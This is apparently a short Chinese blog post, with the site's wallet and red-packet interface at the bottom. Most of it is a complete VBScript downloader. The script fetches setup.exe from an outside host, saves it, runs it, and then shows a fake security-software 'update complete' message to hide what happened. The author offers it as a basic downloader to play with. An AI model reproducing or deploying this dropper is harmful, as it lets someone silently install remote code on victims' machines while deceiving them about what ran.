VBS 下载指定URL地址EXE文件并运行命令:

set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://down.xxsafe.com/setup.exe",0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "setup.exe"
Set ws = CreateObject("Wscript.Shell")
ws.run "setup.exe"
msgbox "xx安全卫士更新完毕!",vbyes,"提示:"

可以做个自娱自乐的下载者玩一下,基础东西。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值